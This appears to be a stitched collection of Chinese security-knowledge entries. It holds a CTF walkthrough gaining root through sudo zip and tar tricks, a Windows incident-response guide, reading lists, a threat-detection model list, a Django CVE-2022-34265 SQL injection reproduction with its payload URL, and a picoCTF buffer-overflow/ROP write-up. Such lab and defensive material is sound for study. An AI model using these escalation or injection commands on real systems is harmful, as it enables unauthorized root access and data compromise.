directory. */ if ( !defined('ABSPATH') ) define('ABSPATH', dirname(__FILE__) . '/'); /** Sets up WordPress vars and included files. */ require_once(ABSPATH . 'wp-settings.php'); ``` 使用zico账号进行登录 ![image-20220612143126770](../../.gitbook/assets/image-20220612143126770.png) 查看zico这个账号支持sudo命令 ``` zico@zico:~$ sudo -l Matching Defaults entries for zico on this host: env_reset, exempt_group=admin, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User zico may run the following commands on this host: (root) NOPASSWD: /bin/tar (root) NOPASSWD: /usr/bin/zip ``` ZIP提权 ``` zico@zico:~$ touch /tmp/test zico@zico:~$ sudo zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash" adding: tmp/test (stored 0%) root@zico:~# id uid=0(root) gid=0(root) groups=0(root) ``` tar提权 ``` zico@zico:~$ sudo /bin/tar -c -f /tmp/zico.zip . --checkpoint=1 --checkpoint-action=exec='sudo su' root@zico:/home/zico# id uid=0(root) gid=0(root) groups=0(root) ``` 获取flag.txt ![image-20230208162310928](../../.gitbook/assets/image-20230208162310928.png)
sec-knowleage
原文 by [阿里先知](https://xz.aliyun.com/t/2524) ## 1. Windows 的应急事件分类 Windows 系统的应急事件,按照处理的方式,可分为下面几种类别: * 病毒、木马、蠕虫事件 * Web 服务器入侵事件或第三方服务入侵事件 * 系统入侵事件,如利用 Windows 的漏洞攻击入侵系统、利用弱口令入侵、利用其他服务的漏洞入侵,跟 Web 入侵有所区别,Web 入侵需要对 Web 日志进行分析,系统入侵只能查看 Windows 的事件日志。 * 网络攻击事件(DDoS、ARP、DNS 劫持等) ## 2. 通用排查思路 > 入侵肯定会留下痕迹,另外重点强调的是不要一上来就各种查查查,问清楚谁在什么时间发现的主机异常情况,异常的现象是什么,受害用户做了什么样的紧急处理。问清楚主机异常情况后,需要动脑考虑为什么会产生某种异常,从现象反推可能的入侵思路,再考虑会在 Windows 主机上可能留下的痕迹,最后才是排除各种可能,确定入侵的过程。 获取 Windows 的基本信息,如机器名称、操作系统版本、OS 安装时间、启动时间、域名、补丁安装情况,使用systeminfo命令获取。运行msinfo32也可以查看计算机的详细信息。 ### 2.1 直接检查相关日志 任何操作(人、程序、进程)都会导致产生相关日志 #### 2.1.1 Windows 日志简介 日志记录了系统中硬件、软件和系统问题的信息,同时还监视着系统中发生的事件。当服务器被入侵或者系统(应用)出现问题时,管理员可以根据日志迅速定位问题的关键,再快速处理问题,从而极大地提高工作效率和服务器的安全性。 Widdows 通过自带事件查看器管理日志,使用命令eventvwr.msc打开,或者 Windows 10 搜索框直接搜索事件查看器,或者使用开始菜单-Windows 管理工具-事件查看器打开。 ![](../pictures/windows_audit1.png) Windows 日志位置 Windows 2000/Server2003/Windows XP `\%SystemRoot%\System32\Config\*.evt` Windows Vista/7/10/Server2008: `\%SystemRoot%\System32\winevt\Logs\*.evtx` 日志审核策略,使用命令`auditpol /get /category:* ` ![](../pictures/windows_audit2.png) 其他一些可能会用到的事件日志的位置: C:\Windows\System32\WDI\LogFiles * BootCKCL.etl * ShutdownCKCL.etl * SecondaryLogOnCKCL.etl * WdiContext.etl.<###> ``` C:\Windows\System32\WDI\<guid>\<guid> snapshot.etl </guid></guid> ``` C:\Windows\System32\LogFiles\WMI * Wifi.etl * LwNetLog.etl C:\Windows\System32\SleepStudy ``` UserNotPresentSession.etl abnormal-shutdown-<yyyy>-<mm>- -<hh>-<mm>-<ss>.etl</ss></mm></hh> </mm></yyyy> user-not-present-trace-<yyyy>-<mm>- -<hh>-<mm>-<ss>.etl</ss></mm></hh> </mm></yyyy> ScreenOnPowerStudyTraceSession-<yyyy>-<mm>- -<hh>-<mm>-<ss>.etl</ss></mm></hh> </mm></yyyy> ``` #### Windows 日志 * 系统日志 系统日志包含Windows系统组件记录的事件。例如,系统日志中会记录在启动过程中加载驱动程序或其他系统组件失败。系统组件所记录的事件类型由Windows预先确定。 * 应用程序日志 应用程序日志包含由应用程序或程序记录的事件。例如,数据库程序可在应用程序日志中记录文件错误。程序开发人员决定记录哪些事件。 * 安全日志 安全日志包含诸如有效和无效的登录尝试等事件,以及与资源使用相关的事件,如创建、打开或删除文件或其他对象。管理员可以指定在安全日志中记录什么事件。例如,如果已启用登录审核,则安全日志将记录对系统的登录尝试。 关于安全日志登录部分的事件 ID 和登录类型代码的含义见下面 2 个表。 ![](../pictures/windows_audit3.png) 常用事件 ID 含义 ![](../pictures/windows_audit20.png) 登录类型 ID 成功/失败登录事件提供的有用信息之一是用户/进程尝试登录(登录类型),但 Windows 将此信息显示为数字,下面是数字和对应的说明: ![](../pictures/windows_audit21.png) 账户类型 * 用户账户 * 计算机账户:此帐户类型表示每个主机。 此帐户类型的名称以字符“$”结尾。 例如,“DESKTOP-SHCTJ7L $”是计算机帐户的名称。 * 服务账户:每个服务帐户都创建为特定服务的所有者。 例如,IUSR是IIS的所有者,而krbtgt是作为密钥分发中心一部分的服务的所有者。 #### 应用程序和服务日志 应用程序和服务日志是一种新类别的事件日志。这些日志存储来自单个应用程序或组件的事件,而非可能影响整个系统的事件。 查看 PowerShell 的日志 Microsoft->Windows->PowerShell->OPtions #### 2.1.2 远程登录事件 攻击者可能造成的远程登录事件 **RDP** 攻击者使用 RDP 远程登录受害者计算机,源主机和目的主机都会生成相应事件。 重要的事件 ID(安全日志,Security.evtx) * 4624:账户成功登录 * 4648:使用明文凭证尝试登录 * 4778:重新连接到一台 Windows 主机的会话 * 4779:断开到一台 Windows 主机的会话 远程连接日志(应用程序和服务日志->Microsoft->Windows->-TerminalServices->RemoteConnectionManager->Operational),重要事件 ID 和含义: * 1149:用户认证成功 * 21:远程桌面服务:会话登录成功 * 24:远程桌面服务:会话已断开连接 * 25:远程桌面服务:会话重新连接成功 远程连接日志关注 RemoteInteractive(10) 和CachedRemoteInteractive(12)表明使用了 RDP ,因为这些登录类型专用于RDP使用。 **计划任务和 AT** 关注的事件 ID * 4624:账户成功登录 计划任务事件 Microsoft-Windows-TaskScheduler/Operational.evtx,计划任务 ID 含义: * 100:任务已开始 * 102:任务完成 * 106:已注册任务(关注点) * 107:在调度程序上触发任务 * 110:用户触发的任务 * 129:创建任务流程(推出) * 140:任务已更新 * 141:任务已删除 * 200:运行计划任务 * 325:启动请求排队 统一后台进程管理器(UBPM) * 服务控制管理器 - 管理 Windows 服务 * 任务计划程序 - 管理 Windows 任务 * Windows Management Instrumentation - 管理 WMI 供应商 * DCOM Server Process Launcher - 管理进程外 COM 应用程序 **PSExec** PSExec是系统管理员的远程命令执行工具,包含在“Sysinternals Suite”工具中,但它通常也用于针对性攻击的横向移动。 PsExec的典型行为 * 在具有网络登录(类型3)的远程计算机上将 PsExec 服务执行文件(默认值:PSEXESVC.exe)复制到%SystemRoot%。 * 如果使用-c选项,则通过 $Admin 共享将文件复制到 %SystemRoot% 执行命令。 * 注册服务(默认值:PSEXESVC),并启动服务以在远程计算机上执行该命令。 * 停止服务(默认值:PSEXESVC),并在执行后删除远程计算机上的服务。 PSExec选项的重要选项: * -r * 更改复制的文件名和远程计算机的服务名称 (默认值:%SystemRoot%\ PSEXESVC.exe和PSEXESVC) * -s * 由SYSTEM帐户执行。 * -C * 将程序复制到远程计算机 * 被复制到Admin$(%SystemRoot%) * -u * 使用特定凭据登录到远程计算机 * 生成登录类型2和登录类型3 的事件 可以从System.evtx中查找事件 ID 7045 发现 PSExec,相关的事件 ID * Security.evtx * 4624:帐户已成功登录 * Ssystem.evtx * 7045:系统中安装了服务 PsExec在执行命令时在远程主机上创建服务,默认服务名称为PSEXESVC,配合检测系统 7045 事件可以确定。 如果使用-r参数更改了默认的服务名称,通过以下特征可以检测 PSExec 的执行: * PSExec服务执行文件(默认值:PSEXESVC.exe)被复制到远程计算机上的“%SystemRoot%”目录中 * 服务名称与没有“.exe”扩展名的执行名称相同 * 服务以“用户模式”执行,而不是“内核模式” * “LocalSystem”帐户用于服务帐户 * 实际帐户用于执行服务执行文件,而不是“SYSTEM” #### 2.1.3 GUI 的日志工具介绍 Widnows 自带事件管理器就是很不错的日志工具,其他可以了解下Event Log Explorer   ![](../pictures/windows_audit4.png) 可以将目标 IP 的所有日志文件复制出来,然后在其他电脑上使用 Event Log Explorer 进行分析。 其他一些工具: * Microsoft Message Analyzer * ETL Viewer * Log Parser * 使用示例:https://mlichtenberg.wordpress.com/2011/02/03/log-parser-rocks-more-than-50-examples/ #### 2.2.4 PowerShell 日志操作 使用Get-WinEvent `Get-WinEvent @{logname='application','system'} -MaxEvents 1` 一些常见日志操作 ``` # Get-WinEvent帮助命令 get-help Get-WinEvent # 列出所有事件日志 Get-WinEvent -ListLog * # powershell管理员权限下获取安全事件日志 Get-WinEvent -FilterHashtable @{LogName='Security'} # 过滤安全事件ID 4624 Get-WinEvent -FilterHashtable @{LogName='Security';ID='4624'} # 查询今天的应用和系统日志,显示前2条 Get-WinEvent @{logname='application','system';starttime=[datetime]::today } -MaxEvents 2 ``` ![](../pictures/windows_audit5.png) ``` # 根据ID查询事件 Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational | Where-Object {$_.ID -eq "4100" -or $_.ID -eq "4104"} # 查询指定时间内的事件 $StartTime=Get-Date -Year 2017 -Month 1 -Day 1 -Hour 15 -Minute 30 $EndTime=Get-Date -Year 2017 -Month 2 -Day 15 -Hour 20 -Minute 00 Get-WinEvent -FilterHashtable @{LogName='System';StartTime=$StartTime;EndTime=$EndTime} ``` Get-EventLog 的使用可以参考:https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-eventlog?view=powershell-5.1 #### 2.2.5 Windows 日志删除和日志集中化 攻击者入侵系统后,很可能会删除日志,比较粗暴的手法是直接删除所有日志和停止日志服务,对于应急来说删除掉的日志本身就是就是入侵的明显特征,根据文件创建时间也能大概判断入侵时间。另外有工具可以删除单条日志,这样只是分析 Windows 日志时对分析人员来说很难找到攻击痕迹,单条日志删除工具 https://github.com/360-A-Team/EventCleaner 另外可以参考 https://github.com/3gstudent/Eventlogedit-evtx--Evolution。 对抗删除的的措施是实施日志集中化,从 Windows 7 开始,Windows 记录日志为 XML 格式,可以使用 ### 2.2 检查账户 检查账户的几种方式: 1. 在本地用户和组里查看,运行lusrmgr.msc 2. 使用net user列出当前登录账号,使用wmic UserAccount get列出当前系统所有账户 3. 检查注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList,HKLM\SAM\Domains\Account\(默认是 SYSTEM)权限,需要配置成管理员权限查看。 SID 位于HKU\和 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList两个密钥中。 用户SID可以在值“Profilelist”下找到Subkeys(在用户登录系统时创建)。 值“ProfileImagePath”将列出该特定用户的配置文件的路径。 在操作系统级别,SID可识别无疑问题的帐户。 多用户系统看起来像这样 ``` HKU\.DEFAULT HKU\S-1-5-18 HKU\S-1-5-19 HKU\S-1-5-20 HKU\S-1-5-21-1116317227-3122546273-4014252621-1000 HKU\S-1-5-21-1116317227-3122546273-4014252621-1000_Classes HKU\S-1-5-21-1116317227-3122546273-4014252621-1003 HKU\S-1-5-21-1116317227-3122546273-4014252621-1003_Classes ``` 前四个密钥是系统帐户,从计算机到计算机通常是相同的。 HKU\.DEFAULT包含全局用户信息。 HKU\S-1-5-18属于“LocalSystem帐户”。HKU\S-1-5-19用于运行本地服务,是“本地服务帐户”。HKU\S-1-5-20 是用于运行网络服务的“NetworkService帐户”。 其他子键是唯一的SID,它们与已登录系统的各个用户相关联。 他们的解释如下: * “S”将字符串标识为SID。 * “1”是SID规范的版本。 * “5”是标识符权限值。 * “21-1116317227-3122546273-4014252621”是域或本地计算机标识符,因计算机与计算机不同,因为它对应于唯一的个人用户帐户。 * “1000”是相对ID(RID)。 默认情况下未创建的任何组或用户的RID均为1000或更高。 * “1000_Classes”包含每用户文件关联和类注册。 * “1003”是同一系统上另一个用户的相对ID(RID)。 * “1003_Classes”包含第二个用户的文件关联和类注册。 ### 2.3 检查网络连接 检查网络监听和连接的端口和应用程序 `netstat -anob` 输出主机上的所有侦听和活动连接,包括 PID 和连接到每个连接的程序的名称。 这也告诉 Netstat返回连接的 IP 地址,而不是试图确定它们的主机名。 * -a :显示所有连接和侦听端口。 * -b :显示在创建每个连接或侦听端口时涉及的可执行程序。在某些情况下,已知可执行程序承载多个独立的组件,这些情况下,显示创建连接或侦听端口时涉及的组件序列。在此情况下,可执行程序的名称位于底部 [] 中,它调用的组件位于顶部,直至达到 TCP/IP。注意,此选项可能很耗时,并且在你没有足够权限时可能失败。 * -n :以数字形式显示地址和端口号。 * -o :显示拥有的与每个连接关联的进程 ID。 *-r :显示路由表。 路由   `netstat -rn`    结合findstr命令查找特定的端口或程序。   ![](../pictures/windows_audit6.png) 发现的感觉异常的 IP 地址可以在威胁情报平台上查询,如果是已知的恶意 IP,可以比较快速的确认攻击方式。   防火墙配置 `netsh firewall show all` Windows 10 自带的网络连接可以参考: https://betanews.com/2018/07/31/all-the-websites-windows-10-connects-to-clean-install/ ### 2.4 检查进程 进程通常结合网络查看异常,先检查异常的网络连接,再获取由哪个进程生成的网络连接 `netstat -abno | find "port number"` `tasklist | findstr PID` 使用 wmic 命令获取进程信息 ``` wmic process | find "Proccess Id" > proc.csv Get-WmiObject -Class Win32_Process Get-WmiObject -Query "select * from win32_service where name='WinRM'" -ComputerName Server01, Server02 | Format-List -Property PSComputerName, Name, ExitCode, Name, ProcessID, StartMode, State, Status ``` PowerShell 的其他关于进程和网络的命令 ``` Get-Process Get-NetTCPConnection Get-NetTCPConnection -State Established # 进程跟服务的对应关系 tasklist /svc ``` 使用 SysinternalsSuite 的 procexp 可以获取进程比较详细的信息,比如真实路径、加载的 DLL 文件等、CPU 和内存使用情况等。 ![](../pictures/windows_audit7.png) 当然也可以使用内存管理器。 查看可疑的进程及其子进程。可以通过观察以下内容: * 没有签名验证信息的进程 * 没有描述信息的进程 * 进程的属主 * 进程的路径是否合法 * CPU或内存资源占用长时间过高的进程 可以获取进程关联的文件 MD5 值,然后发送到威胁情报平台上辅助检查。进程关联的文件也可以使用在线病毒检测平台上直接检测。 #### 2.4.1 内存 dump 有 2 种比较方便的方法: 第一种是使用系统自带功能,在计算机属性,系统属性,高级选项卡中选择“启动和故障恢复设置”,选择完全转储内存,然后点击确定,系统会提示重启。 ![](../pictures/windows_audit8.png) 重启后在配置的文件位置可以找到上次转储的内存文件。 另外一种方法,使用 SysinternalsSuite 工具集的 notmyfault64 工具,在使用管理员权限的命令行模式下(cmd、PowerShell),运行 `NotMyFault64.exe /crash` #### 2.4.2 内存分析 利用 Volatility 进行内存取证,分析入侵攻击痕迹,包括网络连接、进程、服务、驱动模块、DLL、handles、检测进程注入、检测Meterpreter、cmd历史命令、IE浏览器历史记录、启动项、用户、shimcache、userassist、部分rootkit隐藏文件、cmdliner等。 参考:https://xz.aliyun.com/t/2497 ### 2.5 检查开机启动和运行服务 #### 2.5.1 开机启动 关于开机启动需要分析的位置: * 注册表中的关于开机启动的位置 * HKLM\Software\Microsoft\Windows\CurrentVersion\Runonce * HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run * HKLM\Software\Microsoft\Windows\CurrentVersion\Run * HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run * HKCU\Software\Microsoft\Windows\CurrentVersion\Run * HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce (ProfilePath)\Start Menu\Programs\Startup * 开始菜单,启动项里(C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup) * 任务管理器,启动选项卡,或者运行 msconfig,查看启动选项卡 * 运行gpedit.msc在本地组策略编辑器里查看开机运行脚本,包括计算机配置和用户配置的。 ![](../pictures/windows_audit9.png) * 使用 SysinternalsSuite 工具集的 Autoruns 工具查看开机启动项目 ![](../pictures/windows_audit10.png) #### 2.5.2 查看服务状态 服务状态,自动启动配置,在 PowerShell 下可以运行: ``` Get-Service # 运行service命令 service ``` 运行services.msc可以打开 Windows 服务工具,常见的 GUI 界面。 ![](../pictures/windows_audit11.png) ### 2.6 检查计划任务 存放计划任务的文件 * C:\Windows\System32\Tasks\ * C:\Windows\SysWOW64\Tasks\ * C:\Windows\tasks\ * *.job(指文件) 使用命令查看计划任务 `schtasks` 运行taskschd.msc打开计划任务面板,或者从计算机管理进入,直接查看计划任务。 ![](../pictures/windows_audit12.png) 也可以使用 SysinternalsSuite 工具集的 Autoruns 工具查看计划任务。 ### 2.7 检查文件 检查可疑文件的思路,一种是通过可疑进程(CPU 利用率、进程名)关联的文件,一种是按照时间现象关联的文件,文件大小也可以 作为辅助的判断方法,文件的操作可以使用Get-ChildItem命令查看。需要关注的文件位置: * 下载目录 * 回收站文件 * 程序临时文件 * 历史文件记录 * 应用程序打开历史 * 搜索历史 * 快捷方式(LNK) * 驱动 `driverquery` * 进程 DLL 的关联查询 `tasklist -M` * 共享文件 * 最近的文件(%UserProfile%\Recent) * 文件更新 * 已安装文件 * hklm:\software\Microsoft\Windows\CurrentVersion\Uninstall\ * 异常现象之前创建的文件 ### 2.8 检查注册表 注册表目录含义: 1. HKEY_CLASSES_ROOT(HKCR):此处存储的信息可确保在Windows资源管理器中执行时打开正确的程序。它还包含有关拖放规则,快捷方式和用户界面信息的更多详细信息。 2. HKEY_CURRENT_USER(HKCU):包含当前登录系统的用户的配置信息,包括用户的文件夹,屏幕颜色和控制面板设置。HKEY_USERS中特定于用户的分支的别名。通用信息通常适用于所有用户,并且是HKU.DEFAULT。 3. HKEY_LOCAL_MACHINE(H​​KLM):包含运行操作系统的计算机硬件特定信息。它包括系统上安装的驱动器列表以及已安装硬件和应用程序的通用配置。 4. HKEY_USERS(HKU):包含系统上所有用户配置文件的配置信息,包括应用程序配置和可视设置。 5. HKEY_CURRENT_CONFIG(HCU):存储有关系统当前配置的信息。 一些重要的注册表键 ``` hklm:\Software\Microsoft\Windows\CurrentVersion\policies\system hklm:\Software\Microsoft\Active Setup\Installed Components hklm:\Software\Microsoft\Windows\CurrentVersion\App Paths hklm:\software\microsoft\windows nt\CurrentVersion\winlogon hklm:\software\microsoft\security center\svc hkcu:\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths hkcu:\Software\Microsoft\Windows\CurrentVersion\explorer\RunMru hklm:\Software\Microsoft\Windows\CurrentVersion\explorer\Startmenu hklm:\System\CurrentControlSet\Control\Session Manager hklm:\Software\Microsoft\Windows\CurrentVersion\explorer\ShellFolders hklm:\Software\Microsoft\Windows\CurrentVersion\ShellExtensions\Approved hklm:\System\CurrentControlSet\Control\Session Manager\AppCertDlls hklm:\Software\Classes\exefile\shell\open\command hklm:\BCD00000000 hklm:\system\currentcontrolset\control\lsa hklm:\Software \Microsoft\Windows\CurrentVersion\Explorer\BrowserHelper Objects hklm:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects hkcu:\Software\Microsoft\Internet Explorer\Extensions hklm:\Software\Microsoft\Internet Explorer\Extensions hklm:\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions ``` 活用注册表编辑器的搜索功能,根据进程名称、服务名称、文件名称搜索注册表。 ## 3. 特定事件痕迹检查 ### 3.1 挖矿病毒应急 #### 3.1.1 传播方式 通常可能的传播方式: 1. 通过社工、钓鱼方式下载和运行了挖矿程序(邮件、IM 等) 2. 利用计算机系统远程代码执行漏洞下载、上传和执行挖矿程序 3. 利用计算机 Web 或第三方软件漏洞获取计算机权限,然后下载和执行挖矿程序 4. 利用弱口令进入系统,下载和执行挖矿程序 5. 执行 Web 页面的挖矿 JS 脚本 #### 3.1.2 挖矿程序特点 1. CPU、GPU、内存利用率高; 2. 网络会连接一些矿工 IP,可以通过威胁情报获取。 #### 3.1.3 挖矿程序应急目的 1. 找出入侵原因 2. 找到挖矿程序,并删除 3. 挖矿事件应急可能需要对样本进行分析,需要二进制的一些分析能力,通过提取样本后确认样本分类、行为、危害。 ### 3.2 勒索病毒事件应急 #### 3.2.1 传播方式 通常可能的传播方式: 1. 通过社工、钓鱼方式下载和运行了勒索程序(邮件、IM 等) 2. 利用计算机系统远程代码执行漏洞下载、上传和执行勒索病毒 3. 利用计算机 Web 或第三方软件漏洞获取计算机权限,然后下载和执行勒索病毒 4. 利用弱口令进入计算机系统,下载和执行勒索病毒 #### 3.2.2 勒索病毒特点 1. 各种数据文件和可执行程序生成奇怪的后缀名; 2. 明显的提示,要交赎金 #### 3.3.3 勒索病毒应急目的 1. 如果是重要数据,交付赎金恢复数据; 2. 找到入侵的原因,排查同类漏洞,并进行加固(一般是重装) 3. 确认勒索病毒后要立即拔掉网线,限制传播范围。 ## 4. Sysinternals Utilities 工具中有些是命令行工具,有些是有 GUI 界面,作用: * 使用Process Explorer显示详细的流程和系统信息 * 使用Process Monitor捕获低级系统事件,并快速过滤输出以缩小根本原因 * 列出,分类和管理在您启动或登录计算机时运行的软件,或运行Microsoft Office或Internet Explorer时运行的软件 * 验证文件,正在运行的程序以及这些程序中加载的模块的数字签名 * 使用可以识别和清除恶意软件感染的Autoruns,Process Explorer,Sigcheck和Process Monitor功能 * 检查文件,密钥,服务,共享和其他对象的权限 * 使用 Sysmon 监控整个网络中与安全相关的事件 * 当进程满足指定条件时生成内存转储 * 远程执行进程,并关闭远程打开的文件 * 管理Active Directory对象并跟踪LDAP API调用 * 捕获有关处理器,内存和时钟的详细数据 * 对无法启动的设备,文件使用中的错误,无法解释的通信以及许多其他问题进行故障排除 * 了解其他地方没有详细记录的Windows核心概念 下载:https://docs.microsoft.com/en-us/sysinternals/downloads/ ### 4.1 常用工具介绍 #### 4.1.1 autoruns 可以方便的查看自启动、计划任务和运行服务,通过关联右键菜单可以获取更详细的内容。 ![](../pictures/windows_audit13.png) #### 4.1.2 procexp 查看进程的工具。 ![](../pictures/windows_audit14.png) ![](../pictures/windows_audit15.png) #### 4.1.3 ADExplorer Active Directory Explorer(AD Explorer)是一种高级Active Directory(AD)查看器和编辑器。 您可以使用AD Explorer轻松导航AD数据库,定义收藏位置,查看对象属性和属性,而无需打开对话框,编辑权限,查看对象的架构,以及执行可以保存和重新执行的复杂搜索。 AD Explorer还包括保存AD数据库快照以进行脱机查看和比较的功能。 加载已保存的快照时,您可以像实时数据库一样导航和浏览它。 如果您有两个AD数据库快照,则可以使用AD Explorer的比较功能查看它们之间更改的对象,属性和安全权限。 ![](../pictures/windows_audit16.png) #### 4.1.4 TCPView 查看网络连接情况 ![](../pictures/windows_audit17.png) #### 4.1.5 PSExec 像Telnet这样的实用程序和Symantec的PC Anywhere等远程控制程序允许您在远程系统上执行程序,但是设置起来很麻烦,并且要求您在要访问的远程系统上安装客户端软件。 PsExec是一种轻量级的 telne t替代品,可让您在其他系统上执行进程,完成控制台应用程序的完全交互,而无需手动安装客户端软件。 PsExec最强大的用途包括在远程系统上启动交互式命令提示和IpConfig等远程启用工具,否则它们无法显示有关远程系统的信息。 使用可以参考:https://www.itprotoday.com/management-mobility/psexec #### 4.1.6 LogonSessions 列出了当前活动的登录会话,如果指定-p选项,则列出每个会话中运行的进程。 ![](../pictures/windows_audit18.png) ### 4.2 Troubleshooting with the Windows Sysinternals Tools 2nd Edition 这是一本书,介绍 Sysinternals 工具集的使用。 ## 5. 其他 * 关注近期的安全事件趋势,定期查看 CNCERT 的安全报告,其他一些杀毒软件公司的论坛也要关注; * 结合近期的应急,对每次应急出现的新状况进行总结分析,一段时间内的应急需求基本是一致的; * 关注几个威胁情报中心,可以分析域名、IP、文件 MD5,比较方便判断攻击方式; * 准备好杀毒盘和 Live 盘,可以利用 U 盘做一个专用的应急响应工具包 * Webshell 查杀 * D盾_Web查杀:http://www.d99net.net/index.asp * 河马webshell查杀:http://www.shellpub.com * 深信服Webshell网站后门检测工具:http://edr.sangfor.com.cn/backdoor_detection.html * 勒索软件基本没有办法,重要数据只能交赎金,不过也是有些特定的勒索病毒能恢复文件 * 如果未作 Windows 的日志集中化 ,如果入侵删掉所有日志, 大部分情况下只能呵呵,查一下可能的入侵链路上的其他设备、同网段设备有什么日志; * 弱口令是很常见的入侵事件原因; * 眼见为实,证据说话,不要被客户诱导; * Windows 的攻击方式可以了解一下 [ATT&CK](https://attack.mitre.org/wiki/Windows_Technique_Matrix) 矩阵 ![](../pictures/windows_audit19.png) ## 参考 https://mp.weixin.qq.com/s/17L_fQJ1qjSvt8UL7VSemg https://sect.iij.ad.jp/d/2018/05/044132/training_material_sample_for_eventlog_analysis.pdf https://www.sans.org/course/windows-forensic-analysis https://www.sans.org/reading-room/whitepapers/forensics/live-response-powershell-34302
sec-knowleage
# Code --- ## 项目 ### 重构 - [七年三次大重构,聊聊我的重构成长史](https://shuyi.tech/archives/my-refactor-experiment) ### 代码质量 - [代码腐烂可以避免的吗?](https://shuyi.tech/archives/talk-about-code-decay) ### 成本 - [研发团队资源成本优化实践](https://tech.meituan.com/2019/02/21/rd-team-resource-cost-optimization-practice.html) --- ## 团队 - [技术Leader一定要懂所有业务细节吗?](https://shuyi.tech/archives/tl-need-to-know-all-details)
sec-knowleage
# 威胁检测模型 此处整理一些需要威胁检测模型。威胁检测提供威胁狩猎的“原料”,数据的检测质量、效率很大程度上会影响威胁狩猎的深度(检测的精确率)和广度(检测的覆盖率)。 ## 协议、证书相关异常检测 - https证书相关异常检测 ## 常规Web漏洞检测模型 - SQL Injection漏洞检测 - Weblogic漏洞检测 - XSS漏洞检测 - .. ## 远程控制检测模型 - Shellcode检测模型 - Webshell检测模型 - 未知木马远控检测 - 未知后门植入检测 ## 行为检测相关模型 - 内网横向渗透检测 - 高隐蔽扫描行为检测 ## 文件检测相关模型 - 沙箱检测 - 静态沙箱检测 - 动态沙箱检测 - 虚拟执行 - .. ## 僵尸网络相关模型 - DGA随机域名生成检测模型 - fast-flux相关检测 ## 钓鱼行为检测 - [域名阴影](https://cloud.tencent.com/developer/article/1036957)检测 ## 隐蔽能力相关模型 - DNS隐蔽信道检测 - ICMP隐蔽隧道检测 ## 威胁情报相关模型 - 威胁情报的大数据碰撞模型 ## 机器学习相关模型 - 深度学习算法自学习检测模型 ## 邮件相关模型 - 钓鱼邮件发现 - 涉及到沙箱检测 - 邮件异常水印检测 - 邮箱爆破、撞库检测 - 邮箱异常登入检测 - 涉及到风控规则 - 邮箱异常同步、转发的检测 ## 数据库异常相关检测 - 数据库异常访问检测
sec-knowleage
# Django Trunc(kind) and Extract(lookup_name) SQL注入漏洞(CVE-2022-34265) [中文版本(Chinese version)](README.zh-cn.md) Django在2022年7月4日发布了安全更新,修复了在数据库函数`Trunc()`和`Extract()`中存在的SQL注入漏洞。 参考链接: - https://www.djangoproject.com/weblog/2022/jul/04/security-releases/ ## 漏洞环境 启动一个Django 4.0.5版本的服务器: ``` docker compose up -d ``` 环境启动后,你可以在`http://your-ip:8000`看到一个页面。这个页面使用了Trunc函数来聚合页面点击数量,比如使用`http://your-ip:8000/?date=minute`即可看到按照分钟聚合的点击量: ![](1.png) ## 漏洞复现 修改`date`参数即可复现SQL注入漏洞: ``` http://your-ip:8000/?date=xxxx'xxxx ``` ![](2.png)
sec-knowleage
# NewOverFlow-1 Binary Exploitation, 250 points ## Description: > Okay now lets try mainpulating arguments. ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <stdbool.h> #define BUFFSIZE 64 #define FLAGSIZE 64 bool win1 = false; bool win2 = false; void win_fn1(unsigned int arg_check) { if (arg_check == 0xDEADBEEF) { win1 = true; } } void win_fn2(unsigned int arg_check1, unsigned int arg_check2, unsigned int arg_check3) { if (win1 && \ arg_check1 == 0xBAADCAFE && \ arg_check2 == 0xCAFEBABE && \ arg_check3 == 0xABADBABE) { win2 = true; } } void win_fn() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("'flag.txt' missing in the current directory!\n"); exit(0); } fgets(flag, sizeof(flag), file); if (win1 && win2) { printf("%s", flag); return; } else { printf("Nope, not quite...\n"); } } void flag() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("'flag.txt' missing in the current directory!\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFFSIZE]; gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Welcome to 64-bit. Can you match these numbers?"); vuln(); return 0; } ``` ## Solution: This is the follow-up for [NewOverFlow-1](NewOverFlow-1.md). We need to create a ROP chain, sending parameters to the different functions in order to set two booleans to `true` before we can jump to the `win_fn` and read the flag. I started by using the previous challenge's template, and creating a ROP chain using `pwntools`: ```python rop = ROP(context.binary) rop.win_fn1(0xDEADBEEF) rop.win_fn2(0xBAADCAFE, 0xCAFEBABE, 0xABADBABE) rop.win_fn() ``` However, `pwntools` couldn't satisfy one of the constraints: ```console [*] Overflow offset: 72 (8-byte architecture) [*] win_fn1() address: 0x400767 [*] win_fn2() address: 0x400781 [*] win_fn() address: 0x4007be [*] Loaded cached gadgets for 'vuln' [ERROR] Could not satisfy setRegisters({'rdi': 3131951870, 'rsi': 3405691582, 'rdx': 2880289470}) ``` I then noticed that the `flag` function from the previous challenge wasn't removed, and reused the same script to get the flag: ```console root@kali:/media/sf_CTFs/pico/NewOverFlow-2# python exploit.py [*] '/media/sf_CTFs/pico/NewOverFlow-2/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] dvdalt@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done 